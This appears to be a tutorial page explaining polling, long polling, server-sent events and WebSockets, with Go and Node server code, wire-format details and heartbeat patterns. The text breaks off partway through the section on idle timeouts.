Skip to content
Software Atlas

WebSockets, SSE & Long-polling

HTTP only answers questions, so how does a server push a chat message the moment it exists? Polling, long polling, server-sent events and WebSockets — how each works on the wire, how to build them in Go and Node, and the ways long-lived connections fail in production: idle timeouts, reconnect storms, missed messages, slow consumers, scaling and security.

⏱ ~60 min read14 sections9 interactive widgetsGo · JavaScript
FoundationsPractitionerStaff-level
Foundations§01

The 30-second version

In one sentenceThe web's normal language, HTTP, only lets the browser ask and the server answer. For a chat app, the server needs to speak first. Every real-time technique is a way to keep a line open so it can.

You build a chat app. Alice types “hi” and her browser sends it to your server. Now Bob's browser should show “hi” right away. But Bob's browser didn't ask for anything, and in plain HTTP a server can only ever answer a request. It has no way to call Bob.

HTTP is a letter, not a phone call

When a browser loads a page or calls an API, it speaks HTTP (HyperText Transfer Protocol): it sends a request (“GET me the messages”) and the server sends back exactly one response. Then that exchange is over.

It's like posting a letter and getting a reply. The server is the shop that answers letters — it can't write to you unless you wrote first, because it has no letter of yours to reply to. (The HTTP topic covers the details; here you only need “ask, answer, done”.)

Couldn't the server just contact Bob's browser directly? No. A web page can't accept incoming connections, and Bob's laptop sits behind a home router (NAT) and a Firewall that block them anyway. Every connection has to start at the browser. So all four techniques below are variations on one trick: the browser reaches out first, and the server keeps that request or connection around so it can answer later.

A connection is not a request

One distinction makes the rest of this topic click. A Connection is the open pipe between browser and server, set up once (the TCP handshake). An HTTP request and its response are one exchange — one envelope there, one envelope back — that travels through that pipe. Browsers keep a connection open and send many requests through it, one after another.

The four techniques differ in what they keep open: long polling keeps one request waiting at the server, SSE keeps one response going, and a WebSocket takes over the whole connection. Flip between them:

Request vs connection
The pipe is the connection. The envelopes are what travels through it. Pick a technique.
BrowserServerconnection (TCP) — HTTP requests and responses travel inside
The pipe (the connection) stays open, but each request is a fresh envelope: “anything new?” → “no” → … The server can only reply, never start.

Four ways to hear about news

One new chat message, four ways to get it to the browser
server
💬 new
short poll
ask
ask
ask
✓ got it
ask
long poll
one request, held open…
✓
next request, held open…
SSE
open
one response, never ends
✓
still open
WebSocket
open
open line, both ways
✓
still open
The amber block is the moment the server has something new. Solid blocks = a request or message on the wire; striped = a connection held open, waiting. Short polling only notices at the next ask; the other three deliver almost at once.
How it worksDirectionGood for
Short pollingAsk on a timer (§02)client asksRare updates, dead-simple setups
Long pollingAsk; the server waits to answer until there's news (§02)client asksA fallback that works through anything
Server-sent eventsOne HTTP response that never ends (§03)server → browserFeeds, notifications, live dashboards, AI text streaming
WebSocketTurn the connection into an open two-way pipe (§04)both waysChat, multiplayer, collaborative editing

The part people underestimate

Opening a long-lived connection takes ten lines of code. Keeping it working is the actual job. Connections die silently behind proxies, thousands of clients reconnect at the same instant after a deploy, messages go missing during a reconnect, one slow phone eats your server's memory, and a second server doesn't know about the first server's users.

Sections 07–10 are about exactly those problems, and they apply to all four techniques. Sections 02–06 build the four techniques themselves, from the simplest to the most capable.

Foundations§02

Short polling and long polling

In one sentencePolling keeps plain HTTP and just asks again and again. Long polling makes each ask wait at the server until there's something to say.

Both techniques use nothing but ordinary HTTP requests, which is their superpower: they work through every Proxy, firewall and corporate network, with any server framework. Start here to see what the fancier options improve on.

Short polling: “anything new?” every 2 seconds

The client keeps track of the last message id it has seen, and on a timer asks for anything newer:

short-poll.js (browser)
let lastId = 0;

async function poll() {
  const res = await fetch(`/messages?after=${lastId}`); // "anything after #lastId?"
  if (!res.ok) throw new Error(`HTTP ${res.status}`);
  for (const m of await res.json()) {                   // usually []
    if (m.id <= lastId) continue;                       // already shown: skip
    show(m);
    lastId = m.id;
  }
}

async function pollLoop() {
  try {
    await poll();
  } catch (err) {
    console.warn("poll failed, will try again", err);   // a failed poll is just skipped
  }
  setTimeout(pollLoop, 2000); // next ask 2 s after this one FINISHED — never two at once ←
}
pollLoop();

The ?after= part matters more than it looks. Because the client says where it got up to, no message is lost or shown twice, even if one poll fails: the next poll simply asks from the same place again. That idea — the client remembers its position and the server sends everything after it — comes back in every technique (§08).

Worked example. With a 2-second interval, a message that arrives just after a poll waits ~2 s; on average ~1 s. Meanwhile 1,000 open tabs make 500 requests per second, nearly all answered “nothing new”. Each of those still carries several hundred bytes of HTTP headers each way and wakes up your server, your database and the user's phone radio. Poll faster and you get news sooner but burn more; poll slower and you save resources but everything feels laggy.

Long polling: the server holds the answer

Long polling flips the waiting around. The client asks the same question, but if there's nothing new the server doesn't answer yet. It parks the request until a message arrives, then replies at once. The client handles the reply and immediately asks again.

Short polling vs long polling
short polling, every 2 s
browser
ask
ask
ask
ask ✓
ask
server
[]
[]
💬
[]
[💬]
[]
long polling
browser
ask
waiting for the answer…
✓ ask
waiting… (25 s timeout)
204
ask
server
request parked
💬 →
next request parked
204
Short polling: lots of empty answers, and news waits for the next ask. Long polling: one request is always parked at the server (striped), so news goes out the moment it exists. The “nothing new” reply after the timeout (status 204, explained below) just restarts the wait.

The client is a loop. Here it is with the error handling a real one needs:

long-poll.js (browser)
let lastId = 0;

async function longPollLoop() {
  while (true) {
    try {
      const res = await fetch(`/poll?after=${lastId}`, {
        signal: AbortSignal.timeout(35_000), // give up if no answer within 35 s
      });
      if (res.status === 204) continue;      // server's timeout: nothing new, ask again ←
      if (!res.ok) throw new Error(`HTTP ${res.status}`);
      for (const m of await res.json()) {
        show(m);
        lastId = m.id;
      }
    } catch (err) {
      console.warn("poll failed, retrying soon", err);
      await new Promise((r) => setTimeout(r, 2000)); // don't hammer a broken server
    }
  }
}
longPollLoop();

Why the server answers after 25 seconds, even with no news

A request that hangs forever is dangerous. Somewhere between the browser and your server there's usually a Reverse proxy or Load balancer that kills any request with no reply after a fixed time — often 30 or 60 seconds. The browser would see an error instead of a clean “nothing yet”.

So the server picks a shorter Timeout of its own, say 25 seconds, and answers with the status code 204 No Content (“success, but no body”). The client treats that as “ask again”. The client's own timeout (35 s) is a bit longer than the server's, so it only fires when something is really broken.

The server side in Go

Go makes the “park the request until something happens” part pleasant. Each request runs in its own Goroutine, and a parked goroutine costs only a few kilobytes and no CPU. The trick is how to wake up every parked request at once when a message arrives.

longpoll.go
type Message struct {
    ID   int    `json:"id"`
    Text string `json:"text"`
}

type Room struct {
    mu      sync.Mutex
    msgs    []Message
    changed chan struct{} // closed (and replaced) every time a message arrives
}

func NewRoom() *Room { return &Room{changed: make(chan struct{})} }

func (r *Room) Publish(text string) {
    r.mu.Lock()
    defer r.mu.Unlock()
    r.msgs = append(r.msgs, Message{ID: len(r.msgs) + 1, Text: text})
    close(r.changed)                // wakes EVERY request waiting on the old channel ←
    r.changed = make(chan struct{}) // a fresh channel for the next wait
}

// Since returns the messages after `after`, or — if there are none yet —
// a channel that will be closed when the next message arrives.
func (r *Room) Since(after int) ([]Message, <-chan struct{}) {
    r.mu.Lock()
    defer r.mu.Unlock()
    if after < len(r.msgs) {
        return slices.Clone(r.msgs[after:]), nil
    }
    return nil, r.changed
}

func (r *Room) Poll(w http.ResponseWriter, req *http.Request) {
    after, err := strconv.Atoi(req.URL.Query().Get("after"))
    if err != nil || after < 0 {
        after = 0 // missing, junk or negative: start from the beginning
    }
    timeout := time.NewTimer(25 * time.Second)
    defer timeout.Stop()

    for {
        msgs, wait := r.Since(after)
        if msgs != nil {                     // news already waiting: answer now
            w.Header().Set("Content-Type", "application/json")
            json.NewEncoder(w).Encode(msgs)
            return
        }
        select {                             // nothing yet: park here ←
        case <-wait:                         // a message arrived → loop and fetch it
        case <-timeout.C:
            w.WriteHeader(http.StatusNoContent) // 204: "nothing new, ask again"
            return
        case <-req.Context().Done():         // the client hung up: stop waiting
            return
        }
    }
}

What long polling costs

Long polling feels instant, but it isn't free:

  • One full HTTP request per message batch. Busy rooms mean a constant stream of requests, each with its headers. You'll see this in the race in §04.
  • A short blind spot. Between receiving one answer and the next request reaching the server (one network round trip), there's no parked request. Messages that arrive then wait for the next request. The after cursor makes sure they're delivered, just a little later.
  • Sending is a separate request. The parked request only carries news down. When the user types, the browser sends a normal POST.

That's why we usually move on to SSE or WebSockets. But long polling still earns its place as the fallback that always works, and some well-known libraries — for example Socket.IO, a popular real-time library for Node — start every connection with long polling and upgrade to WebSocket if they can.

Practitioner§03

Server-sent events: one response that never ends

In one sentenceSSE is an HTTP response the server never finishes. It keeps writing small text events into it, and the browser hands each one to your code as it arrives.

Long polling ends the response after every batch of news, so the client has to send a new request each time. Server-sent events (SSE) skip that: the browser makes one request, and the server keeps the response open for minutes or hours, adding a message each time something happens. It's still plain HTTP — just a response that is very slow to finish.

What's on the wire

You can watch an SSE stream with curl. The -N flag turns off curl's output buffering, so each event prints the moment it arrives:

$ curl -N http://localhost:8081/events
retry: 3000

id: 1
data: {"id":1,"text":"hi"}

id: 2
data: {"id":2,"text":"anyone here?"}

: ping

The response's Content-Type is text/event-stream, and the body is plain text in a tiny format. Each event is a few field: value lines, ended by a blank line:

LineMeaning
data: …The message itself. Several data: lines in one event are joined with newlines.
id: 2A label for this event. The browser remembers the last one (see below).
event: typingAn optional event name, so you can listen for different kinds separately.
retry: 3000“If the connection drops, wait 3000 ms before reconnecting.”
: pingA line starting with : is a comment. Browsers ignore it; it's used as a keep-alive.

The browser side: EventSource

Browsers have a built-in client, EventSource. It's about as simple as an API gets:

browser
const source = new EventSource("/events");

source.onmessage = (e) => {            // one call per event
  const msg = JSON.parse(e.data);
  show(msg);
  // e.lastEventId is the event's id: line, if it had one
};

source.addEventListener("typing", (e) => showTyping(e.data)); // events with "event: typing"

source.onerror = () => {
  // Fires when the connection drops. EventSource reconnects BY ITSELF;
  // readyState is CONNECTING (0) while it retries, CLOSED (2) if it gave up.
  console.log("stream interrupted, state =", source.readyState);
};

// source.close() when you're done — otherwise it reconnects forever

The best feature is the one you don't write: automatic reconnection with resume. When the connection drops, EventSource waits (3 s here, from retry:) and opens a new request, adding a Last-Event-ID header with the last id: it saw. Your server reads that header and replays what the client missed. A dropped connection then costs a few seconds of delay, and no messages are lost.

The server side

An SSE server has four jobs: send the right headers, write each event and flush it immediately, replay missed events for reconnecting clients, and stop when the client goes away.

“Flush” is the part people miss. Servers normally collect what you write in a buffer and send it in bigger pieces — great for web pages, useless for a live feed where a 50-byte event could sit in the buffer for minutes. A streaming response has to push each event out by hand.

SSE server
import { createServer } from "node:http";

const clients = new Set();  // the open SSE responses
const history = [];         // recent events, for replay after a reconnect
let nextId = 1;

function send(res, event) {
  res.write(`id: ${event.id}\ndata: ${JSON.stringify(event.data)}\n\n`); // one event ←
}

export function publish(data) {
  const event = { id: nextId++, data };
  history.push(event);
  if (history.length > 1000) history.shift(); // keep only the last 1000
  for (const res of clients) send(res, event);
}

createServer((req, res) => {
  if (req.url !== "/events") return res.writeHead(404).end();

  res.writeHead(200, {
    "Content-Type": "text/event-stream", // ← this makes it SSE
    "Cache-Control": "no-cache",
  });
  res.write("retry: 3000\n\n"); // ask the browser to wait 3 s before reconnecting

  // A reconnecting browser tells us the last id it saw: replay what it missed.
  const lastId = Number(req.headers["last-event-id"] ?? 0);
  for (const event of history) if (event.id > lastId) send(res, event);

  clients.add(res);
  const heartbeat = setInterval(() => res.write(": ping\n\n"), 15_000);
  req.on("close", () => {     // the browser went away
    clearInterval(heartbeat);
    clients.delete(res);
  });
}).listen(8081);

The Go version has two details worth copying into any streaming handler:

  • rc.Flush() instead of w.(http.Flusher). The old way is a Type assertion: w.(http.Flusher) asks “does this w also have a Flush method?”. It silently answers “no” when a logging or metrics Middleware has wrapped w in its own type. ResponseController looks through wrappers that provide Unwrap(). The full story is in Structural patterns: wrappers in production.
  • SetWriteDeadline(time.Time{}). If your http.Server has a WriteTimeout, it applies to the whole response, so a stream would be cut off after that long. We tested a server with WriteTimeout: 10 * time.Second: without this line, curl received the first heartbeat and then the connection died at the 10-second mark.

SSE's limits

  • One direction. The server talks, the browser listens. To send a message, the browser makes a normal POST. For a chat that's often fine: sending is rare compared with receiving.
  • Text only. Binary data has to be encoded, for example as Base64.
  • No custom headers. new EventSource(url) can't add an Authorization header. It sends cookies, so cookie-based login works; token-based APIs need another approach (§10). Many AI chat APIs stream in the SSE format but read it with fetch() and a stream reader instead, which allows POST and headers — at the cost of writing your own reconnect logic.
  • The six-connection limit on HTTP/1.1. Browsers open at most about 6 HTTP/1.1 connections per host, shared by all tabs. Each EventSource holds one for as long as it's open. A user with seven tabs of your dashboard gets a seventh tab that never loads, and other requests to your site queue behind the streams. Over HTTP/2, many requests share one connection, so the limit effectively disappears. Serve SSE over HTTP/2 (any modern HTTPS setup does this) — see HTTP/1.1's six-connection hack and HTTP/2: many streams on one connection.
Foundations§04

WebSockets: an open line, both ways

In one sentenceA WebSocket starts as an HTTP request, then turns the connection into a two-way pipe. Either side can send a message at any time, with only a few bytes of overhead each.

With SSE, the server can talk whenever it likes, but the browser still has to make a separate HTTP request to say anything. A WebSocket removes the last restriction. After a short opening exchange (§05), the connection is Full duplex: like a phone call, both ends can talk at once, and neither has to wait for the other.

The browser API

browser
const ws = new WebSocket("wss://chat.example.com/chat"); // starts connecting right away

ws.addEventListener("open", () => {
  ws.send(JSON.stringify({ type: "join", room: "general" })); // ← client talks first
});

ws.addEventListener("message", (e) => {    // ← server can talk any time
  const msg = JSON.parse(e.data);          // e.data is a string for text messages
  show(msg);
});

ws.addEventListener("close", (e) => {
  console.log("closed", e.code, e.reason, e.wasClean); // e.g. 1006 "" false
  // e.code is a close code: 1000 = closed normally, 1006 = dropped without a goodbye (§05)
});

ws.addEventListener("error", () => {
  // Always followed by "close". It carries no details on purpose: a page
  // mustn't learn why a connection to some address failed (security).
});

sendButton.onclick = () => {
  if (ws.readyState === WebSocket.OPEN) {  // 0 CONNECTING, 1 OPEN, 2 CLOSING, 3 CLOSED
    ws.send(JSON.stringify({ type: "say", text: input.value }));
  }
};

A few things to notice:

  • wss:// is to ws:// what https:// is to http://: the same thing, encrypted with TLS. Always use wss:// in production. Apart from privacy, unencrypted WebSockets often get mangled by proxies that don't understand them.
  • Messages, not bytes. Each send() arrives as exactly one message event on the other side. You never see half a message or two glued together. (Compare raw TCP, which is just a stream of bytes with no message boundaries.)
  • The content is up to you. WebSocket only carries text or binary messages. There are no URLs, methods or status codes inside it, so you invent a small protocol — usually JSON objects with a type field, as above.
  • No reconnect. Unlike EventSource, a closed WebSocket stays closed. Reconnecting, and catching up on what you missed, is your code's job (§08).

Race all four

Here is the same chat room delivered four ways. Messages appear on the server at random; each lane shows when the browser got them. Watch three things: delay (how long a message waited), HTTP requests, and overhead bytes (everything sent that isn't the message itself).

Race: the same chat over all four
New chat messages appear on the server at random. Each lane shows when that message reached the browser — the bar is its delay.
Poll every
Network round trip
server: newShort pollingLong pollingSSEWebSocketnow → (last 10 s · grey ticks = HTTP requests sent)
transportavg delayworstHTTP requestsempty answersoverhead bytes
Short polling——1 (1.00/s)0700 B
Long polling——1 (1.00/s)0700 B
SSE——1 (1.00/s)—700 B
WebSocket——1 (1.00/s)—700 B
Toy model with rough numbers: ~700 bytes of HTTP headers per request + response, a 60-byte message, 16 bytes of SSE framing per event, 2 bytes of WebSocket frame header (6 going up, because of the mask). Try 5 s polling, then press you send a message a few times: only the WebSocket lane sends it without a new HTTP request.

What to take away:

  • Short polling has delay of up to one full interval, and makes requests even when nothing happens (the “empty answers”). Faster polling cuts the delay and multiplies the requests.
  • Long polling is nearly as fast as the open connections, but pays a whole HTTP request — headers and all — for every message or batch. On a slow network, the “blind spot” between answer and next request shows up as occasional extra delay.
  • SSE and WebSocket deliver in one trip across the network with a handful of bytes per message. The difference shows up when the browser sends: SSE needs a new HTTP request each time, while WebSocket sends a frame (its small unit of data) with 6 bytes of overhead down the line that's already open.

In real life, overhead bytes matter less than the requests: each one wakes up a server, passes through your load balancer, gets checked by your auth code and maybe hits your database. That's the real cost polling multiplies.

Practitioner§05

Under the hood: the upgrade and the frames

In one sentenceA WebSocket is one HTTP request that says “let's switch languages”, followed by a stream of small binary frames on the same connection.

The WebSocket protocol (its spec is RFC 6455, from 2011) has two parts. The opening handshake uses HTTP, so WebSockets can share port 443 with your website and pass through the same load balancers. After that, HTTP is gone, and both sides exchange frames.

Step through a whole conversation

The byte values in the stepper are written in hex: two characters per byte, 00 to ff.

Opening, using and closing a WebSocket
Step through the HTTP upgrade, then real frame bytes (hex). Use ← → or Play.
Browser
new WebSocket("wss://chat.example.com/chat")
On the wire
TCP connect + TLS handshake
Server
listening on :443
First, an ordinary connection. The browser opens a TCP connection (a reliable byte pipe — see TCP & UDP) and, because the URL says wss://, encrypts it with TLS (TLS). Nothing WebSocket-specific has happened yet.
1 / 8

The handshake, in more detail

The Upgrade handshake is a normal GET request with a few extra headers. You can send one by hand with curl and watch the server switch:

$ curl -i -N \
    -H "Connection: Upgrade" -H "Upgrade: websocket" \
    -H "Sec-WebSocket-Version: 13" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    http://localhost:8090/ws
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Sec-Websocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Upgrade: websocket

After that, curl is holding a WebSocket connection it can't speak, so press Ctrl+C. (-i shows the response headers; -N stops curl from buffering.)

The Accept value proves the server understood the request. It's computed from the key with a fixed formula. You'll never write this yourself — every library does it — but it's two lines:

Sec-WebSocket-Accept
import { createHash } from "node:crypto";

const MAGIC = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"; // a fixed string from RFC 6455
const acceptKey = (key) => createHash("sha1").update(key + MAGIC).digest("base64");

console.log(acceptKey("dGhlIHNhbXBsZSBub25jZQ==")); // s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

It takes the key, glues on the magic string, makes a SHA-1 hash of it, and writes that hash in Base64. This is not security. SHA-1 is broken for security purposes anyway, and the key is sent in plain sight. The point is only that a server which doesn't know about WebSockets can't accidentally produce the right answer.

Two more handshake headers you'll meet:

  • Sec-WebSocket-Protocol: chat.v2 lets the client propose one or more subprotocols (names for the message format you invented on top); the server picks one. In JS: new WebSocket(url, ["chat.v2"]).
  • Sec-WebSocket-Extensions: permessage-deflate asks for compression of each message. It saves bandwidth on chatty JSON, but each connection then keeps compression state in memory — often tens of kilobytes — which adds up with 100,000 connections. Many servers leave it off.

Frames

After the 101, everything is a Frame. A frame is a tiny header and then the payload. Play with the builder: type a message and see every byte.

Frame builder
Type a message and see the exact bytes of the WebSocket frame that carries it.
FIN + opcode · 1 B
81
MASK + length · 1 B
85
mask key · 4 B
37 fa 21 3d
payload (masked) · 5 B
7f 9f 4d 51 58
first byte10000001
1 FIN — this is the last piece of the message
000 RSV — reserved for extensions (e.g. compression)
0001 opcode 1 = text
second byte10000101
1 MASK — masked (browsers must mask)
0000101 = 5 → that's the payload length
Payload 5 bytes (“Hello” as UTF-8 — note non-ASCII characters take 2–4 bytes each), header 6 bytes. Same message over a fresh HTTP request: roughly 700 bytes of headers.

The header holds:

  • FIN (1 bit): “this is the last frame of the message”. A big message can be split into several frames — the first with the real type, the rest with opcode 0, “continuation” — and only the last has FIN set. Libraries put the pieces back together; your message event gets the whole thing.
  • Opcode (4 bits): 1 text (must be valid UTF-8), 2 binary, 8 close, 9 ping, 10 pong.
  • MASK (1 bit) and the payload length (7 bits). Lengths up to 125 fit right there; the values 126 and 127 mean “the real length is in the next 2 or 8 bytes”.
  • A 4-byte mask key, only on frames from the browser.

So a short message costs 2 bytes of header from the server and 6 from the browser, against several hundred bytes of headers for an HTTP request and response.

Why browsers mask

Masking combines every payload byte with a random 4-byte key using XOR, a bit operation that flips the bits where the key has a 1. Byte 1 uses key byte 1, byte 2 uses key byte 2, and so on, starting over after 4. Here's the first byte of “Hello” from the stepper above:

'H'      = 0x48 = 0100 1000
key[0]   = 0x37 = 0011 0111
XOR      = 0x7f = 0111 1111   ← what actually goes on the wire

XOR the result with the same key again and you get 0x48 back, which is how the server unmasks. It looks like encryption but isn't: the key travels in the same frame. The key changes for every frame.

The reason is old, badly written proxies. Researchers showed that a web page could send WebSocket bytes that looked exactly like an HTTP request to a proxy that didn't understand WebSockets. The proxy might then store the attacker's fake response in its Cache and serve it to other people. Because the browser picks the mask at random, the page can't control what bytes actually go on the wire, so it can't craft that fake request. Clients must mask; servers must not — and a server must reject unmasked frames from a client.

Control frames: ping, pong, close

Control frames can be sent in the middle of a long, multi-frame message, but they can't themselves be split, and they carry at most 125 bytes.

  • Ping / pong. Either side may send a ping; the other must answer with a pong carrying the same data. Browsers answer automatically, and JavaScript can't send pings at all. Servers use them to check the client is still there (§07).
  • Close. The payload is a 2-byte Close code, optionally followed by a short reason. The other side echoes a close frame back, and then the TCP connection is closed.
CodeNameWhen you'll see it
1000Normal closureSomeone called close() on purpose
1001Going awayPage navigated away, or server shutting down
1006Abnormal closureThe connection died with no close frame. Never sent; the browser reports it locally. The most common code in production.
1008Policy violationServer rejected you — failed auth, too slow, misbehaving
1009Message too bigYou sent more than the other side's size limit
1011Internal errorThe server hit an unexpected error
1012Service restartServer restarting; reconnect (with a delay)
4000–4999YoursFree for your application to define

In the browser, ws.close() only accepts 1000 or 3000–4999; anything else throws an InvalidAccessError (we checked with Node 22's built-in client: ws.close(1001) throws InvalidAccessError: invalid code). The 1001–1015 range is for the protocol and servers. A close() with no code arrives at the server as 1005 (“no status received”).

Practitioner§06

Servers in Go and Node

In one sentenceA WebSocket server is a set of open connections plus a loop per connection that reads messages. The hard part isn't the protocol — it's what you do when you write to many connections.

We'll build the same thing twice: a chat server where every message from one client is broadcast to all connected clients. Both use popular third-party libraries, because neither Node nor Go's standard library includes a WebSocket server.

NodeGo
Libraryws (npm install ws)github.com/coder/websocket (formerly nhooyr.io/websocket), or the older github.com/gorilla/websocket
Checks the Origin header?No — you must (§10)coder: yes by default · gorilla: yes by default
Default max message size100 MiB (maxPayload)coder: 32 KiB (SetReadLimit) · gorilla: no limit

Node: the ws package

chat.mjs
import { createServer } from "node:http";
import { WebSocketServer, WebSocket } from "ws"; // npm install ws

const server = createServer((req, res) => res.end("normal HTTP still works here"));
const wss = new WebSocketServer({
  server,                 // share the port with the HTTP server
  path: "/chat",          // only accept upgrades on this path
  maxPayload: 64 * 1024,  // refuse messages over 64 KiB (closes with 1009)
});

wss.on("connection", (ws, req) => {
  console.log("connected:", req.socket.remoteAddress);
  ws.on("error", console.error); // without an 'error' listener, an error crashes the process

  ws.on("message", (data, isBinary) => {
    for (const client of wss.clients) {          // every open connection on THIS process
      if (client.readyState === WebSocket.OPEN) {
        client.send(data, { binary: isBinary }); // ← relay as-is, sender included
      }
    }
  });

  ws.on("close", (code, reason) => console.log("closed:", code, reason.toString()));
});

server.listen(8080);

client.send() in Node doesn't wait. It hands the bytes to the operating system's Socket buffer, and if that's full, ws keeps them in memory. A client on a slow connection makes that memory grow without limit. You can see how much is waiting in client.bufferedAmount, and §09 shows what to do about it.

Go: github.com/coder/websocket

Go needs a bit more structure, because many goroutines run at once. The library allows one goroutine reading a connection at a time, while writes may come from anywhere. The common design gives each connection:

  • a read loop (the handler's own goroutine) that receives messages and passes them to the hub;
  • a write loop (a second goroutine) that sends whatever lands in the connection's outbox, a buffered channel.

Why a separate write loop, if writes are allowed from any goroutine? Because a write to a slow client can take seconds. If broadcast wrote to each connection directly, one slow phone would hold up the message for everyone after it. So the hub's broadcast never writes to a network connection itself. It only drops the message into each outbox, which takes microseconds, and each write loop sends at its own client's pace.

Inside the hub
Each client has a read loop, an outbox (a channel with 4 slots) and a write loop. Make Chen slow, then broadcast a burst.
Alice
read loop: conn.Read(ctx) → broadcast
outbox (chan []byte, 4)
····
write loop: idle, waiting on outbox
delivered: —
Bob
read loop: conn.Read(ctx) → broadcast
outbox (chan []byte, 4)
····
write loop: idle, waiting on outbox
delivered: —
Chen
read loop: conn.Read(ctx) → broadcast
outbox (chan []byte, 4)
····
write loop: idle, waiting on outbox
delivered: —
Press “broadcast 1”: the hub only drops the message into three outboxes; each write loop sends it at its own pace.
chat.go
// client is one open WebSocket plus its outbox of messages waiting to be written.
type client struct {
    conn *websocket.Conn
    send chan []byte // buffered: absorbs short bursts
}

type Hub struct {
    mu      sync.Mutex
    clients map[*client]struct{}
}

func (h *Hub) broadcast(msg []byte) {
    h.mu.Lock()
    defer h.mu.Unlock()
    for c := range h.clients {
        select {
        case c.send <- msg: // queued for c's write loop
        default:            // outbox full: c can't keep up → disconnect it (§09)
            delete(h.clients, c)
            go c.conn.Close(websocket.StatusPolicyViolation, "too slow")
        }
    }
}

func (h *Hub) serveWS(w http.ResponseWriter, r *http.Request) {
    conn, err := websocket.Accept(w, r, nil) // the upgrade; rejects other sites' Origins by default
    if err != nil {
        return // Accept has already written an HTTP error response
    }
    defer conn.CloseNow()
    conn.SetReadLimit(64 << 10) // refuse messages over 64 KiB

    c := &client{conn: conn, send: make(chan []byte, 32)}
    h.mu.Lock()
    h.clients[c] = struct{}{}
    h.mu.Unlock()
    defer func() {
        h.mu.Lock()
        delete(h.clients, c)
        h.mu.Unlock()
    }()

    ctx, cancel := context.WithCancel(r.Context())
    defer cancel()      // stops the write loop when we return
    go h.writeLoop(ctx, c) // ONE goroutine writes…

    for {               // …and this one reads ←
        _, msg, err := conn.Read(ctx)
        if err != nil {
            return // the client closed, writeLoop failed, or the network broke
        }
        h.broadcast(msg)
    }
}

func (h *Hub) writeLoop(ctx context.Context, c *client) {
    for {
        select {
        case msg := <-c.send:
            wctx, cancel := context.WithTimeout(ctx, 5*time.Second) // a write may not hang forever
            err := c.conn.Write(wctx, websocket.MessageText, msg)
            cancel()
            if err != nil {
                return // the library closes the connection on any error
            }
        case <-ctx.Done():
            return
        }
    }
}

func main() {
    hub := &Hub{clients: map[*client]struct{}{}}
    http.HandleFunc("/chat", hub.serveWS)
    log.Fatal(http.ListenAndServe(":8080", nil))
}

gorilla/websocket in one paragraph

You'll meet github.com/gorilla/websocket in many existing codebases. It works the same way in spirit: upgrader.Upgrade(w, r, nil) instead of Accept, conn.ReadMessage() / conn.WriteMessage() instead of Read/Write, and deadlines (SetReadDeadline, SetWriteDeadline) instead of contexts. Its rule is strict: at most one goroutine may write at a time — two goroutines writing to one connection is a Data race that corrupts frames. The write-loop design above is how you obey it.

Practitioner§07

Staying alive: idle timeouts and heartbeats

In one sentenceA connection that carries no bytes looks abandoned to every machine in between, and a connection to a vanished client looks perfectly healthy. Send a small heartbeat regularly and you fix both problems.

Your WebSocket chat works perfectly in development. In production, users complain that they “stop getting messages” after a quiet minute, and your server's connection count keeps creeping up even though users have left. Two different failures, one cure.

Failure 1: the idle timeout

Between the browser and your server there are usually several machines: a corporate proxy, a CDN, a Load balancer, a Reverse proxy like nginx. Each one keeps a table entry and some memory for every connection passing through it. To avoid filling up with abandoned connections, each one closes connections that have been silent for a while — an Idle timeout.

Common defaults are around 60 seconds (nginx's proxy_read_timeout, AWS Application Load Balancer's idle timeout), sometimes 100 seconds or a few minutes for others. Check yours: they change between products and versions. A chat room that's silent for longer than that gets cut. The middle box usually just drops the connection without a WebSocket close frame, so your close handler sees code 1006.

A quiet room behind a 60-second idle timeout
no heartbeat
traffic
msg
silence…
✂ cut
browser
open
thinks it's connected
close 1006
ping every 25 s
traffic
msg
ping
ping
ping
still open
browser
open
connected — and really is
Top: nothing is sent for 60 s, so the proxy cuts the connection, and the browser reports 1006. Bottom: a ping every 25 s counts as activity, so the proxy's timer never runs out.

Failure 2: the peer that vanished

Now the opposite case. A user on a phone walks into a lift and loses signal. Their phone doesn't send a close frame — it can't. Your server still holds the connection, its goroutine or event listeners, and its buffers.

How long until the server notices? Surprisingly, possibly never if it doesn't send anything. TCP learns that the other side is gone only when it sends data and gets no acknowledgement — and even then it retries for many minutes before giving up. Until then you have a Half-open connection. Multiply by thousands of users on mobile networks, and you have a server full of ghosts: memory and file descriptors held for nobody.

TCP has its own keep-alive probes, but on Linux they start only after 2 hours of silence by default. They also only cover one hop, and since they carry no data, proxies don't count them as activity.

The fix: heartbeats

A Heartbeat is a small message sent on a timer, with an expected reply. It solves both failures:

  1. Regular bytes keep every idle timer along the path from running out.
  2. A missing reply tells you the other side is gone, so you can close the connection and free its resources.

The server sends a WebSocket ping every 25–30 seconds (comfortably under the shortest idle timeout on the path). The browser answers with a pong automatically. No pong by the next round means the client is dead.

server heartbeat
const HEARTBEAT_MS = 30_000;

wss.on("connection", (ws) => {
  ws.isAlive = true;
  ws.on("pong", () => { ws.isAlive = true; }); // the client answered our last ping
  // … message handlers as in §06 …
});

const timer = setInterval(() => {
  for (const ws of wss.clients) {
    if (!ws.isAlive) {   // no pong since the previous round → dead ←
      ws.terminate();    // drop it now, no close handshake (the peer can't answer anyway)
      continue;
    }
    ws.isAlive = false;  // a pong must set this back to true before the next round
    ws.ping();
  }
}, HEARTBEAT_MS);

wss.on("close", () => clearInterval(timer));

The browser needs a heartbeat too

Pings protect the server. But the browser can be fooled the same way: if the server or the network path dies silently, ws.readyState stays OPEN and your app shows a chat that will never update again. Browser JavaScript can't send pings or see pongs, so use an application-level heartbeat: have the server send a tiny message regularly ({"type":"ping"}, or the SSE comment line : ping from §03), and have the client watch the clock:

browser watchdog
function connect() {
  const ws = new WebSocket("wss://chat.example.com/chat");
  let watchdog;

  const resetWatchdog = () => {
    clearTimeout(watchdog);
    // The server sends something at least every 30 s. Silence for 45 s means the line is dead.
    watchdog = setTimeout(() => {
      ws.onmessage = ws.onclose = null;    // ignore anything the dead socket does from now on
      ws.close(4000, "heartbeat timeout"); // tidy up in the background…
      reconnectSoon();                     // …but don't wait for that to finish (§08)
    }, 45_000);
  };

  ws.onopen = resetWatchdog;
  ws.onmessage = (e) => {
    resetWatchdog();                       // any message proves the line is alive
    const msg = JSON.parse(e.data);
    if (msg.type === "ping") return;       // heartbeat only, nothing to show
    show(msg);
  };
  ws.onclose = () => {
    clearTimeout(watchdog);
    reconnectSoon();
  };
